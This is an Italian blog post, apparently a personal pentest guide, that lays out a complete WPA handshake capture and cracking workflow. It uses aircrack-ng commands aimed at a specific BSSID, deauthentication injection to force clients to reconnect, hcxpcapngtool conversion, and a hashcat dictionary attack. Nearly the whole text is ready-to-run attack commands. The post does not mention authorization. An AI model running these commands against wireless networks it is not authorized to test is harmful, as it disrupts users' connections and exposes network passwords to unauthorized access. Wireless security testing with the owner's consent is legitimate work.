Pentest WPA uso personale !

Guida Tecnica: Acquisizione e Decodifica Handshake WPA

Questa procedura utilizza la suite aircrack-ng su interfaccia wireless wlx20e51702a6ac per catturare un handshake WPA e decodificarlo via hashcat.

Fase 1: Preparazione dell’ambiente

airmon-ng check kill Identifica e termina i processi che interferiscono con la modalità monitor (es. NetworkManager, wpa_supplicant). Rimuove conflitti di gestione radio prima dell’attivazione.

Fase 2: Attivazione modalità monitor

airmon-ng start wlx20e51702a6ac Passa l’interfaccia dalla modalità managed alla modalità monitor, permettendo la ricezione dei pacchetti broadcast e il tuning sulla frequenza corretta.

Fase 3: Scansione generale

airodump-ng -w capture wlx20e51702a6ac Avvia l’ascolto su tutti i canali salvando i pacchetti nel file capture-01.cap. Serve a identificare il BSSID e il canale di lavoro del target.

Fase 4: Monitoraggio mirato

airodump-ng -c 4 --bssid CC:2D:21:31:3F:81 -w capture wlx20e51702a6ac Blocca l’interfaccia sul canale 4 e sul BSSID specifico. Garantisce che tutti i pacchetti del target siano registrati nel file di acquisizione senza perdita per switch di canale.

Fase 5: Iniezione Deauthentication

aireplay-ng --deauth 10 -a CC:2D:21:31:3F:81 wlx20e51702a6ac Invia 10 pacchetti di deautenticazione al BSSID indicato. Forza un client a disconnettersi e riconnettersi, innescando la procedura di negoziazione del handshake WPA.

Fase 6: Conversione formato hcxpcapng

hcxpcapngtool -o handshake_hash.hccapx capture-01.cap Converte il dump .cap nel formato nativo per hashcat (.hccapx). Questo passaggio è necessario perché hashcat non legge direttamente i file aircrack-ng senza conversione.

Fase 7: Attacco brute-force con Hashcat

hashcat -m 22000 handshake_hash.hccapx /usr/share/wordlists/Wordlist_82_million.txt -w 3 --status Esegue l’attacco offline sulla password WPA:

  • -m 22000: Algoritmo specifico per il formato hcxpcapng (WPA2).
  • /usr/share/wordlists/...: Dizionario di confronto.
  • -w 3: Imposta la velocità del worker su “high” per ottimizzare l’uso della GPU/CPU.
  • --status: Mostra i progress dell’elaborazione in tempo reale.

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *